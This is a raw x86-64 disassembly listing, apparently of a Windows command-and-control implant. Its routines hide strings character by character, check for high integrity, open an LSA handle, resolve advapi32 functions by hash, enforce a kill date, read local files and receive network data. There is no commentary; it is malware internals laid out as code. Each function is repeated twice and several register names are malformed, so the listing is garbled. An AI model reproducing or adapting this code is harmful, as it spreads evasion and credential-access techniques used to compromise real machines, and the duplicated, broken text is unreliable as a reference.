14001a733mov [rsp+136], rcx
14001a73blea rdi, [rsp+144]
14001a743mov ecx, 12
14001a748rep stosd [rdi], eax
14001a74amov ecx, 114
14001a74fmov [rsp+96], rdx
14001a754lea rdi, [rsp+119]
14001a759mov [rsp+88], r8l
14001a75emov [rsp+104], r9
14001a763mov [rsp+92], r10l
14001a768mov [rsp+119], r11
14001a76dmov [rsp+128], 0x90008
14001a778mov [rsp+84], 0xffffffffc0000001
14001a780mov [rsp+127], 0
14001a785call HideChar
14001a78amov ecx, 107
14001a78fmov [rsp+124], al
14001a793call HideChar
14001a798xor ecx, ecx
14001a79amov [rsp+119], al
14001a79ecall HideChar
14001a7a3mov ecx, 101
14001a7a8mov [rsp+127], al
14001a7accall HideChar
14001a7b1mov ecx, 114
14001a7b6mov [rsp+120], al
14001a7bacall HideChar
14001a7bfmov ecx, 115
14001a7c4mov [rsp+121], al
14001a7c8call HideChar
14001a7cdmov ecx, 98
14001a7d2mov [rsp+126], al
14001a7d6call HideChar
14001a7dbmov ecx, 111
14001a7e0mov [rsp+122], al
14001a7e4call HideChar
14001a7e9mov ecx, 101
14001a7eemov [rsp+125], al
14001a7f2call HideChar
14001a7f7mov [rsp+136], rdi
14001a7ffmov [rsp+123], al
14001a803test rbx, rbx
14001a806je 0x14001a836
14001a808mov rcx, rbx
14001a80bcall IsHighIntegrity
14001a810mov edx, eax
14001a812test eax, eax
14001a814jne 0x14001a83d
14001a816lea r9, [rip+56211]
14001a81dmov r8l, 526
14001a823lea rdx, [rip+0x11fe6]
14001a82alea rcx, [rip+56022]
14001a831call printf
14001a836
14001a836loc_14001a836:
14001a836xor ebx, ebx
14001a838jmp 0x14001a984
14001a83d
14001a83dloc_14001a83d:
14001a83dlea r8, [rsp+96]
14001a842mov rcx, rbx
14001a845call GetLsaHandle
14001a84amov r9l, eax
14001a84dtest eax, eax
14001a84fjs 0x14001a85b
14001a851mov rbp, [rsp+96]
14001a856test rbp, rbp
14001a859jne 0x14001a874
14001a85b
14001a85bloc_14001a85b:
14001a85bmov r8l, 533
14001a861lea rdx, [rip+0x11fa8]
14001a868lea rcx, [rip+56156]
14001a86fjmp 0x14001a97a
14001a874
14001a874loc_14001a874:
14001a874mov rbx, [rip+0x11af5]
14001a87blea rdx, [rsp+128]
14001a883lea r8, [rsp+88]
14001a888mov rcx, rbp
14001a88bcall [rbx+1988]
14001a891mov r8l, 540
14001a897lea rdx, [rip+0x11f72]
14001a89elea rcx, [rip+56140]
14001a8a5mov r9l, eax
14001a8a8test eax, eax
14001a8aajs 0x14001a97a
14001a8b0lea rax, [rip+56179]
14001a8b7mov rcx, rbp
14001a8bamov r9l, 48
14001a8c0mov [rsp+144], 6
14001a8cbmov [rsp+184], rax
14001a8d3mov edx, [rsp+88]
14001a8d7lea r8, [rsp+144]
14001a8dfmov [rsp+168], rax
14001a8e7lea rax, [rsp+84]
14001a8ecmov [rsp+48], rax
14001a8f1lea rax, [rsp+92]
14001a8f6mov [rsp+40], rax
14001a8fblea rax, [rsp+104]
14001a900mov [rsp+148], rsi
14001a908mov [rsp+176], 0x10000
14001a913mov [rsp+160], 0x10000
14001a91emov [rsp+32], rax
14001a923call [rbx+1956]
14001a929mov rcx, [rsp+104]
14001a92emov r9l, eax
14001a931test rcx, rcx
14001a934je 0x14001a94c
14001a936mov [rsp+76], eax
14001a93acall [rbx+2012]
14001a940xor eax, eax
14001a942mov r9l, [rsp+76]
14001a947mov [rsp+104], rax
14001a94c
14001a94cloc_14001a94c:
14001a94cmov r8l, 564
14001a952test r9l, r9l
14001a955js 0x14001a96c
14001a957mov r9l, [rsp+84]
14001a95cmov ebx, 1
14001a961test r9l, r9l
14001a964jns 0x14001a984
14001a966mov r8l, 570
14001a96c
14001a96cloc_14001a96c:
14001a96clea rdx, [rip+0x11e9d]
14001a973lea rcx, [rip+55807]
14001a97a
14001a97aloc_14001a97a:
14001a97acall printf
14001a97fjmp 0x14001a836
14001a984
14001a984loc_14001a984:
14001a984mov rcx, [rsp+96]
14001a989test rcx, rcx
14001a98cje 0x14001a99b
14001a98emov rax, [rip+0x119db]
14001a995call [rax+1996]
14001a99b
14001a99bloc_14001a99b:
14001a99bmov ecx, 9
14001a9a0xor eax, eax
14001a9a2rep stosb [rdi], al
14001a9a4add rsp, 200
14001a9abmov eax, ebx
14001a9adpop rbx
14001a9aepop rsi
14001a9afpop rdi
14001a9b0pop rbp
14001a9b1ret
14001a710
14001a9b2
14001a9b2 // align 0x10
14001a9b2 // align 0x10
14001a9c0
14001a9c0QueryObjectTypesInfo:
14001a9c0push r15
14001a9c2push r14
14001a9c4push r13
14001a9c6xor r13l, r13l
14001a9c9push r12
14001a9cbpush rbp
14001a9ccmov rbp, rdx
14001a9cfpush rdi
14001a9d0push rsi
14001a9d1mov rsi, rcx
14001a9d4push rbx
14001a9d5sub rsp, 72
14001a9d9mov [rsp+60], 4096
14001a9e1lea r14, [rsp+60]
14001a9e6
14001a9e6loc_14001a9e6:
14001a9e6mov r15l, [rsp+60]
14001a9ebmov rax, [rip+0x1197e]
14001a9f2mov ecx, 64
14001a9f7mov rdx, r15
14001a9facall [rax+932]
14001aa00mov [rsp+32], r14
14001aa05mov r9l, [rsp+60]
14001aa0axor ecx, ecx
14001aa0cmov r8, rax
14001aa0fmov edx, 3
14001aa14mov rbx, rax
14001aa17call SysNtQueryObject
14001aa1cmov r12l, eax
14001aa1ftest eax, eax
14001aa21js 0x14001aa34
14001aa23mov eax, [rsp+60]
14001aa27mov [rsi], rbx
14001aa2amov [rbp], eax
14001aa2dmov eax, 1
14001aa32jmp 0x14001aa5f
14001aa34
14001aa34loc_14001aa34:
14001aa34test rbx, rbx
14001aa37je 0x14001aa54
14001aa39mov rdi, rbx
14001aa3cmov rcx, r15
14001aa3fmov eax, r13l
14001aa42rep stosb [rdi], al
14001aa44mov rax, [rip+0x11925]
14001aa4bmov rcx, rbx
14001aa4ecall [rax+940]
14001aa54
14001aa54loc_14001aa54:
14001aa54cmp r12l, 0xffffffffc0000004
14001aa5bje 0x14001a9e6
14001aa5dxor eax, eax
14001aa5f
14001aa5floc_14001aa5f:
14001aa5fadd rsp, 72
14001aa63pop rbx
14001aa64pop rsi
14001aa65pop rdi
14001aa66pop rbp
14001aa67pop r12
14001aa69pop r13
14001aa6bpop r14
14001aa6dpop r15
14001aa6fret
14001a9c0
14001a9c0QueryObjectTypesInfo:
14001a9c0push r15
14001a9c2push r14
14001a9c4push r13
14001a9c6xor r13l, r13l
14001a9c9push r12
14001a9cbpush rbp
14001a9ccmov rbp, rdx
14001a9cfpush rdi
14001a9d0push rsi
14001a9d1mov rsi, rcx
14001a9d4push rbx
14001a9d5sub rsp, 72
14001a9d9mov [rsp+60], 4096
14001a9e1lea r14, [rsp+60]
14001a9e6
14001a9e6loc_14001a9e6:
14001a9e6mov r15l, [rsp+60]
14001a9ebmov rax, [rip+0x1197e]
14001a9f2mov ecx, 64
14001a9f7mov rdx, r15
14001a9facall [rax+932]
14001aa00mov [rsp+32], r14
14001aa05mov r9l, [rsp+60]
14001aa0axor ecx, ecx
14001aa0cmov r8, rax
14001aa0fmov edx, 3
14001aa14mov rbx, rax
14001aa17call SysNtQueryObject
14001aa1cmov r12l, eax
14001aa1ftest eax, eax
14001aa21js 0x14001aa34
14001aa23mov eax, [rsp+60]
14001aa27mov [rsi], rbx
14001aa2amov [rbp], eax
14001aa2dmov eax, 1
14001aa32jmp 0x14001aa5f
14001aa34
14001aa34loc_14001aa34:
14001aa34test rbx, rbx
14001aa37je 0x14001aa54
14001aa39mov rdi, rbx
14001aa3cmov rcx, r15
14001aa3fmov eax, r13l
14001aa42rep stosb [rdi], al
14001aa44mov rax, [rip+0x11925]
14001aa4bmov rcx, rbx
14001aa4ecall [rax+940]
14001aa54
14001aa54loc_14001aa54:
14001aa54cmp r12l, 0xffffffffc0000004
14001aa5bje 0x14001a9e6
14001aa5dxor eax, eax
14001aa5f
14001aa5floc_14001aa5f:
14001aa5fadd rsp, 72
14001aa63pop rbx
14001aa64pop rsi
14001aa65pop rdi
14001aa66pop rbp
14001aa67pop r12
14001aa69pop r13
14001aa6bpop r14
14001aa6dpop r15
14001aa6fret
14001a9c0
14001aa70
14001aa70RandomBool:
14001aa70sub rsp, 56
14001aa74mov rdx, [0x7ffe0320]
14001aa7cmov eax, [0x7ffe0004]
14001aa83lea rcx, [rsp+44]
14001aa88imul rax, rdx
14001aa8cshr rax, 24
14001aa90mov [rsp+44], eax
14001aa94mov rax, [rip+0x118d5]
14001aa9bcall [rax+340]
14001aaa1add rsp, 56
14001aaa5not eax
14001aaa7and eax, 1
14001aaaaret
14001aa70
14001aa70RandomBool:
14001aa70sub rsp, 56
14001aa74mov rdx, [0x7ffe0320]
14001aa7cmov eax, [0x7ffe0004]
14001aa83lea rcx, [rsp+44]
14001aa88imul rax, rdx
14001aa8cshr rax, 24
14001aa90mov [rsp+44], eax
14001aa94mov rax, [rip+0x118d5]
14001aa9bcall [rax+340]
14001aaa1add rsp, 56
14001aaa5not eax
14001aaa7and eax, 1
14001aaaaret
14001aa70
14001aaab
14001aaab // align 0x10
14001aaab // align 0x10
14001aab0
14001aab0RandomNumber32:
14001aab0push rsi
14001aab1push rbx
14001aab2sub rsp, 56
14001aab6mov rdx, [0x7ffe0320]
14001aabemov eax, [0x7ffe0004]
14001aac5mov rbx, [rip+0x118a4]
14001aacclea rsi, [rsp+44]
14001aad1imul rax, rdx
14001aad5mov rcx, rsi
14001aad8shr rax, 24
14001aadcmov [rsp+44], eax
14001aae0call [rbx+340]
14001aae6mov rcx, rsi
14001aae9mov [rsp+44], eax
14001aaedcall [rbx+340]
14001aaf3xor edx, edx
14001aaf5mov ecx, 0x7ffffffe
14001aafadiv ecx
14001aafcxor eax, eax
14001aafetest dl, 1
14001ab01setne al
14001ab04add rsp, 56
14001ab08add eax, edx
14001ab0apop rbx
14001ab0bpop rsi
14001ab0cadd eax, 2
14001ab0fret
14001aab0
14001aab0RandomNumber32:
14001aab0push rsi
14001aab1push rbx
14001aab2sub rsp, 56
14001aab6mov rdx, [0x7ffe0320]
14001aabemov eax, [0x7ffe0004]
14001aac5mov rbx, [rip+0x118a4]
14001aacclea rsi, [rsp+44]
14001aad1imul rax, rdx
14001aad5mov rcx, rsi
14001aad8shr rax, 24
14001aadcmov [rsp+44], eax
14001aae0call [rbx+340]
14001aae6mov rcx, rsi
14001aae9mov [rsp+44], eax
14001aaedcall [rbx+340]
14001aaf3xor edx, edx
14001aaf5mov ecx, 0x7ffffffe
14001aafadiv ecx
14001aafcxor eax, eax
14001aafetest dl, 1
14001ab01setne al
14001ab04add rsp, 56
14001ab08add eax, edx
14001ab0apop rbx
14001ab0bpop rsi
14001ab0cadd eax, 2
14001ab0fret
14001aab0
14001ab10
14001ab10ReachedKillDate:
14001ab10push rbx
14001ab11xor eax, eax
14001ab13sub rsp, 32
14001ab17mov rbx, [rip+0x11852]
14001ab1ecmp [rbx+124], 0
14001ab23je 0x14001ab34
14001ab25call GetSystemFileTime
14001ab2acmp rax, [rbx+124]
14001ab2esetae al
14001ab31movzx eax, al
14001ab34
14001ab34loc_14001ab34:
14001ab34add rsp, 32
14001ab38pop rbx
14001ab39ret
14001ab10
14001ab10ReachedKillDate:
14001ab10push rbx
14001ab11xor eax, eax
14001ab13sub rsp, 32
14001ab17mov rbx, [rip+0x11852]
14001ab1ecmp [rbx+124], 0
14001ab23je 0x14001ab34
14001ab25call GetSystemFileTime
14001ab2acmp rax, [rbx+124]
14001ab2esetae al
14001ab31movzx eax, al
14001ab34
14001ab34loc_14001ab34:
14001ab34add rsp, 32
14001ab38pop rbx
14001ab39ret
14001ab10
14001ab3a
14001ab3a // align 0x10
14001ab3a // align 0x10
14001ab40
14001ab40ReadLocalFile:
14001ab40push rbp
14001ab41xor r9l, r9l
14001ab44xor r10l, r10l
14001ab47mov rbp, rdx
14001ab4apush rdi
14001ab4bmov rdi, r8
14001ab4exor r8l, r8l
14001ab51mov edx, 0xffffffff80000000
14001ab56push rsi
14001ab57push rbx
14001ab58sub rsp, 88
14001ab5cmov rsi, [rip+0x1180d]
14001ab63mov [rsp+76], r8l
14001ab68xor r8l, r8l
14001ab6bmov [rsp+48], r9
14001ab70xor r9l, r9l
14001ab73mov [rsp+40], r10l
14001ab78mov [rsp+32], 3
14001ab80call [rsi+812]
14001ab86mov rbx, rax
14001ab89dec rax
14001ab8ccmp rax, -3
14001ab90jbe 0x14001abd4
14001ab92lea rdx, [rip+0x12777]
14001ab99lea rcx, [rip+63437]
14001aba0mov r8l, 897
14001aba6lea r9, [rip+63559]
14001abadcall printf
14001abb2mov rax, [rsi+2230]
14001abb9mov ecx, 1
14001abbemov edx, [rax+104]
14001abc1call PackageTransmitError
14001abc6test rbx, rbx
14001abc9je 0x14001ac5e
14001abcfjmp 0x14001ac56
14001abd4
14001abd4loc_14001abd4:
14001abd4xor edx, edx
14001abd6mov rcx, rbx
14001abd9call [rsi+828]
14001abdfmov ecx, 64
14001abe4mov edx, eax
14001abe6mov [rdi], eax
14001abe8call [rsi+932]
14001abeexor ecx, ecx
14001abf0lea r9, [rsp+76]
14001abf5mov [rbp], rax
14001abf9mov rdx, rax
14001abfcmov [rsp+32], rcx
14001ac01mov rcx, rbx
14001ac04mov r8l, [rdi]
14001ac07call [rsi+916]
14001ac0dtest eax, eax
14001ac0fjne 0x14001ac47
14001ac11lea r9, [rip+63472]
14001ac18mov r8l, 906
14001ac1elea rdx, [rip+0x126eb]
14001ac25lea rcx, [rip+63297]
14001ac2ccall printf
14001ac31mov rax, [rsi+2230]
14001ac38mov ecx, 1
14001ac3dmov edx, [rax+104]
14001ac40call PackageTransmitError
14001ac45jmp 0x14001ac56
14001ac47
14001ac47loc_14001ac47:
14001ac47mov rcx, rbx
14001ac4acall SysNtClose
14001ac4fmov eax, 1
14001ac54jmp 0x14001ac7d
14001ac56
14001ac56loc_14001ac56:
14001ac56mov rcx, rbx
14001ac59call SysNtClose
14001ac5e
14001ac5eloc_14001ac5e:
14001ac5emov rcx, [rbp]
14001ac62test rcx, rcx
14001ac65jne 0x14001ac6b
14001ac67
14001ac67loc_14001ac67:
14001ac67xor eax, eax
14001ac69jmp 0x14001ac7d
14001ac6b
14001ac6bloc_14001ac6b:
14001ac6bcall [rsi+940]
14001ac71xor eax, eax
14001ac73xor edx, edx
14001ac75mov [rbp], rax
14001ac79mov [rdi], edx
14001ac7bjmp 0x14001ac67
14001ac7d
14001ac7dloc_14001ac7d:
14001ac7dadd rsp, 88
14001ac81pop rbx
14001ac82pop rsi
14001ac83pop rdi
14001ac84pop rbp
14001ac85ret
14001ab40
14001ab40ReadLocalFile:
14001ab40push rbp
14001ab41xor r9l, r9l
14001ab44xor r10l, r10l
14001ab47mov rbp, rdx
14001ab4apush rdi
14001ab4bmov rdi, r8
14001ab4exor r8l, r8l
14001ab51mov edx, 0xffffffff80000000
14001ab56push rsi
14001ab57push rbx
14001ab58sub rsp, 88
14001ab5cmov rsi, [rip+0x1180d]
14001ab63mov [rsp+76], r8l
14001ab68xor r8l, r8l
14001ab6bmov [rsp+48], r9
14001ab70xor r9l, r9l
14001ab73mov [rsp+40], r10l
14001ab78mov [rsp+32], 3
14001ab80call [rsi+812]
14001ab86mov rbx, rax
14001ab89dec rax
14001ab8ccmp rax, -3
14001ab90jbe 0x14001abd4
14001ab92lea rdx, [rip+0x12777]
14001ab99lea rcx, [rip+63437]
14001aba0mov r8l, 897
14001aba6lea r9, [rip+63559]
14001abadcall printf
14001abb2mov rax, [rsi+2230]
14001abb9mov ecx, 1
14001abbemov edx, [rax+104]
14001abc1call PackageTransmitError
14001abc6test rbx, rbx
14001abc9je 0x14001ac5e
14001abcfjmp 0x14001ac56
14001abd4
14001abd4loc_14001abd4:
14001abd4xor edx, edx
14001abd6mov rcx, rbx
14001abd9call [rsi+828]
14001abdfmov ecx, 64
14001abe4mov edx, eax
14001abe6mov [rdi], eax
14001abe8call [rsi+932]
14001abeexor ecx, ecx
14001abf0lea r9, [rsp+76]
14001abf5mov [rbp], rax
14001abf9mov rdx, rax
14001abfcmov [rsp+32], rcx
14001ac01mov rcx, rbx
14001ac04mov r8l, [rdi]
14001ac07call [rsi+916]
14001ac0dtest eax, eax
14001ac0fjne 0x14001ac47
14001ac11lea r9, [rip+63472]
14001ac18mov r8l, 906
14001ac1elea rdx, [rip+0x126eb]
14001ac25lea rcx, [rip+63297]
14001ac2ccall printf
14001ac31mov rax, [rsi+2230]
14001ac38mov ecx, 1
14001ac3dmov edx, [rax+104]
14001ac40call PackageTransmitError
14001ac45jmp 0x14001ac56
14001ac47
14001ac47loc_14001ac47:
14001ac47mov rcx, rbx
14001ac4acall SysNtClose
14001ac4fmov eax, 1
14001ac54jmp 0x14001ac7d
14001ac56
14001ac56loc_14001ac56:
14001ac56mov rcx, rbx
14001ac59call SysNtClose
14001ac5e
14001ac5eloc_14001ac5e:
14001ac5emov rcx, [rbp]
14001ac62test rcx, rcx
14001ac65jne 0x14001ac6b
14001ac67
14001ac67loc_14001ac67:
14001ac67xor eax, eax
14001ac69jmp 0x14001ac7d
14001ac6b
14001ac6bloc_14001ac6b:
14001ac6bcall [rsi+940]
14001ac71xor eax, eax
14001ac73xor edx, edx
14001ac75mov [rbp], rax
14001ac79mov [rdi], edx
14001ac7bjmp 0x14001ac67
14001ac7d
14001ac7dloc_14001ac7d:
14001ac7dadd rsp, 88
14001ac81pop rbx
14001ac82pop rsi
14001ac83pop rdi
14001ac84pop rbp
14001ac85ret
14001ab40
14001ac86
14001ac86 // align 0x10
14001ac86 // align 0x10
14001ac90
14001ac90RecvAll:
14001ac90push r12
14001ac92mov r12, r9
14001ac95push rbp
14001ac96mov rbp, rcx
14001ac99push rdi
14001ac9amov edi, r8l
14001ac9dpush rsi
14001ac9emov rsi, rdx
14001aca1push rbx
14001aca2xor ebx, ebx
14001aca4sub rsp, 32
14001aca8
14001aca8loc_14001aca8:
14001aca8cmp ebx, edi
14001acaajae 0x14001acfa
14001acacmov rax, [rip+0x116bd]
14001acb3mov r8l, edi
14001acb6xor r9l, r9l
14001acb9mov rdx, rsi
14001acbcsub r8l, ebx
14001acbfmov rcx, rbp
14001acc2call [rax+1916]
14001acc8cmp eax, -1
14001accbjne 0x14001acf1
14001accdlea r9, [rip+57452]
14001acd4mov r8l, 19
14001acdalea rdx, [rip+0x1266f]
14001ace1lea rcx, [rip+57444]
14001ace8call printf
14001acedxor eax, eax
14001acefjmp 0x14001acff
14001acf1
14001acf1loc_14001acf1:
14001acf1mov edx, eax
14001acf3add ebx, eax
14001acf5add rsi, rdx
14001acf8jmp 0x14001aca8
14001acfa
14001acfaloc_14001acfa:
14001acfamov eax, 1
14001acff
14001acffloc_14001acff:
14001acffmov [r12], ebx
14001ad03add rsp, 32
14001ad07pop rbx
14001ad08pop rsi
14001ad09pop rdi
14001ad0apop rbp
14001ad0bpop r12
14001ad0dret
14001ac90
14001ac90RecvAll:
14001ac90push r12
14001ac92mov r12, r9
14001ac95push rbp
14001ac96mov rbp, rcx
14001ac99push rdi
14001ac9amov edi, r8l
14001ac9dpush rsi
14001ac9emov rsi, rdx
14001aca1push rbx
14001aca2xor ebx, ebx
14001aca4sub rsp, 32
14001aca8
14001aca8loc_14001aca8:
14001aca8cmp ebx, edi
14001acaajae 0x14001acfa
14001acacmov rax, [rip+0x116bd]
14001acb3mov r8l, edi
14001acb6xor r9l, r9l
14001acb9mov rdx, rsi
14001acbcsub r8l, ebx
14001acbfmov rcx, rbp
14001acc2call [rax+1916]
14001acc8cmp eax, -1
14001accbjne 0x14001acf1
14001accdlea r9, [rip+57452]
14001acd4mov r8l, 19
14001acdalea rdx, [rip+0x1266f]
14001ace1lea rcx, [rip+57444]
14001ace8call printf
14001acedxor eax, eax
14001acefjmp 0x14001acff
14001acf1
14001acf1loc_14001acf1:
14001acf1mov edx, eax
14001acf3add ebx, eax
14001acf5add rsi, rdx
14001acf8jmp 0x14001aca8
14001acfa
14001acfaloc_14001acfa:
14001acfamov eax, 1
14001acff
14001acffloc_14001acff:
14001acffmov [r12], ebx
14001ad03add rsp, 32
14001ad07pop rbx
14001ad08pop rsi
14001ad09pop rdi
14001ad0apop rbp
14001ad0bpop r12
14001ad0dret
14001ac90
14001ad0e
14001ad0e // align 0x10
14001ad0e // align 0x10
14001ad10
14001ad10RemoveCoffeeFromInstance:
14001ad10test rcx, rcx
14001ad13je 0x14001ad77
14001ad15mov r8, [rip+0x11654]
14001ad1cmov r10l, [rcx+56]
14001ad20mov rdx, [r8+2334]
14001ad27mov rax, [rdx+84]
14001ad2bcmp [rdx+56], r10l
14001ad2fjne 0x14001ad3f
14001ad31mov [r8+2334], rax
14001ad38ret
14001ad39
14001ad39loc_14001ad39:
14001ad39mov rdx, rax
14001ad3cmov rax, r8
14001ad3f
14001ad3floc_14001ad3f:
14001ad3ftest rax, rax
14001ad42je 0x14001ad57
14001ad44mov r8, [rax+84]
14001ad48mov r11l, [rcx+56]
14001ad4ccmp [rax+56], r11l
14001ad50jne 0x14001ad39
14001ad52mov [rdx+84], r8
14001ad56ret
14001ad57
14001ad57loc_14001ad57:
14001ad57lea r9, [rip+0x1073f]
14001ad5emov r8l, 641
14001ad64lea rdx, [rip+0x12035]
14001ad6blea rcx, [rip+0x10543]
14001ad72jmp 0x140023140
14001ad77
14001ad77loc_14001ad77:
14001ad77ret
14001ad10
14001ad10RemoveCoffeeFromInstance:
14001ad10test rcx, rcx
14001ad13je 0x14001ad77
14001ad15mov r8, [rip+0x11654]
14001ad1cmov r10l, [rcx+56]
14001ad20mov rdx, [r8+2334]
14001ad27mov rax, [rdx+84]
14001ad2bcmp [rdx+56], r10l
14001ad2fjne 0x14001ad3f
14001ad31mov [r8+2334], rax
14001ad38ret
14001ad39
14001ad39loc_14001ad39:
14001ad39mov rdx, rax
14001ad3cmov rax, r8
14001ad3f
14001ad3floc_14001ad3f:
14001ad3ftest rax, rax
14001ad42je 0x14001ad57
14001ad44mov r8, [rax+84]
14001ad48mov r11l, [rcx+56]
14001ad4ccmp [rax+56], r11l
14001ad50jne 0x14001ad39
14001ad52mov [rdx+84], r8
14001ad56ret
14001ad57
14001ad57loc_14001ad57:
14001ad57lea r9, [rip+0x1073f]
14001ad5emov r8l, 641
14001ad64lea rdx, [rip+0x12035]
14001ad6blea rcx, [rip+0x10543]
14001ad72jmp 0x140023140
14001ad77
14001ad77loc_14001ad77:
14001ad77ret
14001ad10
14001ad78
14001ad78 // align 0x10
14001ad78 // align 0x10
14001ad80
14001ad80RemoveMemFile:
14001ad80push rsi
14001ad81mov r9l, ecx
14001ad84push rbx
14001ad85sub rsp, 56
14001ad89mov rsi, [rip+0x115e0]
14001ad90mov rcx, [rsi+2318]
14001ad97test rcx, rcx
14001ad9aje 0x14001ae06
14001ad9ccmp [rcx+40], 0
14001ada1mov rax, rcx
14001ada4jne 0x14001ade5
14001ada6xor ebx, ebx
14001ada8cmp [rcx], r9l
14001adabjne 0x14001adca
14001adadmov [rsp+80], r9l
14001adb2mov ebx, 1
14001adb7call MemFileFree
14001adbcxor eax, eax
14001adbemov r9l, [rsp+80]
14001adc3mov [rsi+2318], rax
14001adca
14001adcaloc_14001adca:
14001adcamov [rsp+32], ebx
14001adcemov r8l, 370
14001add4jmp 0x14001ae12
14001add6
14001add6loc_14001add6:
14001add6mov rdx, [rcx+40]
14001addacmp [rcx], r9l
14001adddje 0x14001adec
14001addfmov rax, rcx
14001ade2mov rcx, rdx
14001ade5
14001ade5loc_14001ade5:
14001ade5test rcx, rcx
14001ade8jne 0x14001add6
14001adeajmp 0x14001ae06
14001adec
14001adecloc_14001adec:
14001adecmov [rax+40], rdx
14001adf0mov ebx, 1
14001adf5mov [rsp+80], r9l
14001adfacall MemFileFree
14001adffmov r9l, [rsp+80]
14001ae04jmp 0x14001ae08
14001ae06
14001ae06loc_14001ae06:
14001ae06xor ebx, ebx
14001ae08
14001ae08loc_14001ae08:
14001ae08mov [rsp+32], ebx
14001ae0cmov r8l, 399
14001ae12
14001ae12loc_14001ae12:
14001ae12lea rdx, [rip+0x117a7]
14001ae19lea rcx, [rip+53488]
14001ae20call printf
14001ae25add rsp, 56
14001ae29mov eax, ebx
14001ae2bpop rbx
14001ae2cpop rsi
14001ae2dret
14001ad80
14001ad80RemoveMemFile:
14001ad80push rsi
14001ad81mov r9l, ecx
14001ad84push rbx
14001ad85sub rsp, 56
14001ad89mov rsi, [rip+0x115e0]
14001ad90mov rcx, [rsi+2318]
14001ad97test rcx, rcx
14001ad9aje 0x14001ae06
14001ad9ccmp [rcx+40], 0
14001ada1mov rax, rcx
14001ada4jne 0x14001ade5
14001ada6xor ebx, ebx
14001ada8cmp [rcx], r9l
14001adabjne 0x14001adca
14001adadmov [rsp+80], r9l
14001adb2mov ebx, 1
14001adb7call MemFileFree
14001adbcxor eax, eax
14001adbemov r9l, [rsp+80]
14001adc3mov [rsi+2318], rax
14001adca
14001adcaloc_14001adca:
14001adcamov [rsp+32], ebx
14001adcemov r8l, 370
14001add4jmp 0x14001ae12
14001add6
14001add6loc_14001add6:
14001add6mov rdx, [rcx+40]
14001addacmp [rcx], r9l
14001adddje 0x14001adec
14001addfmov rax, rcx
14001ade2mov rcx, rdx
14001ade5
14001ade5loc_14001ade5:
14001ade5test rcx, rcx
14001ade8jne 0x14001add6
14001adeajmp 0x14001ae06
14001adec
14001adecloc_14001adec:
14001adecmov [rax+40], rdx
14001adf0mov ebx, 1
14001adf5mov [rsp+80], r9l
14001adfacall MemFileFree
14001adffmov r9l, [rsp+80]
14001ae04jmp 0x14001ae08
14001ae06
14001ae06loc_14001ae06:
14001ae06xor ebx, ebx
14001ae08
14001ae08loc_14001ae08:
14001ae08mov [rsp+32], ebx
14001ae0cmov r8l, 399
14001ae12
14001ae12loc_14001ae12:
14001ae12lea rdx, [rip+0x117a7]
14001ae19lea rcx, [rip+53488]
14001ae20call printf
14001ae25add rsp, 56
14001ae29mov eax, ebx
14001ae2bpop rbx
14001ae2cpop rsi
14001ae2dret
14001ad80
14001ae2e
14001ae2e // align 0x10
14001ae2e // align 0x10
14001ae30
14001ae30RtAdvapi32:
14001ae30push rbp
14001ae31xor eax, eax
14001ae33mov ecx, 65
14001ae38lea rbp, [rip+0x11c41]
14001ae3fpush rdi
14001ae40push rsi
14001ae41lea rsi, [rip+55880]
14001ae48push rbx
14001ae49sub rsp, 56
14001ae4dmov [rsp+35], rax
14001ae52lea rdi, [rsp+35]
14001ae57mov [rsp+40], rax
14001ae5ccall HideChar
14001ae61mov ecx, 86
14001ae66mov [rsp+35], al
14001ae6acall HideChar
14001ae6fmov ecx, 76
14001ae74mov [rsp+37], al
14001ae78call HideChar
14001ae7dmov ecx, 76
14001ae82mov [rsp+46], al
14001ae86call HideChar
14001ae8bmov ecx, 65
14001ae90mov [rsp+45], al
14001ae94call HideChar
14001ae99mov ecx, 46
14001ae9emov [rsp+38], al
14001aea2call HideChar
14001aea7xor ecx, ecx
14001aea9mov [rsp+43], al
14001aeadcall HideChar
14001aeb2mov ecx, 51
14001aeb7mov [rsp+47], al
14001aebbcall HideChar
14001aec0mov ecx, 50
14001aec5mov [rsp+41], al
14001aec9call HideChar
14001aecemov ecx, 68
14001aed3mov [rsp+42], al
14001aed7call HideChar
14001aedcmov ecx, 68
14001aee1mov [rsp+36], al
14001aee5call HideChar
14001aeeamov ecx, 73
14001aeefmov [rsp+44], al
14001aef3call HideChar
14001aef8mov ecx, 80
14001aefdmov [rsp+40], al
14001af01call HideChar
14001af06mov rcx, rdi
14001af09mov [rsp+39], al
14001af0dcall LdrModuleLoad
14001af12mov rbx, [rip+0x11457]
14001af19mov ecx, 13
14001af1etest rax, rax
14001af21mov [rbx+2126], rax
14001af28mov al, 0
14001af2aje 0x14001b209
14001af30rep stosb [rdi], al
14001af32mov rcx, [rbx+2126]
14001af39mov edx, 0x10357d2c
14001af3ecall LdrFunctionAddr
14001af43mov rcx, [rbx+2126]
14001af4amov edx, 0xfffffffff3e5480c
14001af4fmov [rbx+1340], rax
14001af56call LdrFunctionAddr
14001af5bmov rcx, [rbx+2126]
14001af62mov edx, 0xffffffffe139fc0a
14001af67mov [rbx+1356], rax
14001af6ecall LdrFunctionAddr
14001af73mov rcx, [rbx+2126]
14001af7amov edx, 0x7292758a
14001af7fmov [rbx+1364], rax
14001af86call LdrFunctionAddr
14001af8bmov rcx, [rbx+2126]
14001af92mov edx, 0xfffffffffca17e46
14001af97mov [rbx+1532], rax
14001af9ecall LdrFunctionAddr
14001afa3mov rcx, [rbx+2126]
14001afaamov edx, 0x5ed5d61a
14001afafmov [rbx+1348], rax
14001afb6call LdrFunctionAddr
14001afbbmov rcx, [rbx+2126]
14001afc2mov edx, 0x1e344064
14001afc7mov [rbx+1564], rax
14001afcecall LdrFunctionAddr
14001afd3mov rcx, [rbx+2126]
14001afdamov edx, 0xffffffffd51fdf8d
14001afdfmov [rbx+1596], rax
14001afe6call LdrFunctionAddr
14001afebmov rcx, [rbx+2126]
14001aff2mov edx, 0xffffffffd51fdfa3
14001aff7mov [rbx+1540], rax
14001affecall LdrFunctionAddr
14001b003mov rcx, [rbx+2126]
14001b00amov edx, 0xffffffffe249d070
14001b00fmov [rbx+1548], rax
14001b016call LdrFunctionAddr
14001b01bmov rcx, [rbx+2126]
14001b022mov edx, 0xffffffffd9f566f7
14001b027mov [rbx+1588], rax
14001b02ecall LdrFunctionAddr
14001b033mov rcx, [rbx+2126]
14001b03amov edx, 0x677fbb8b
14001b03fmov [rbx+1580], rax
14001b046call LdrFunctionAddr
14001b04bmov rcx, [rbx+2126]
14001b052mov edx, 0xffffffff843a85e8
14001b057mov [rbx+1572], rax
14001b05ecall LdrFunctionAddr
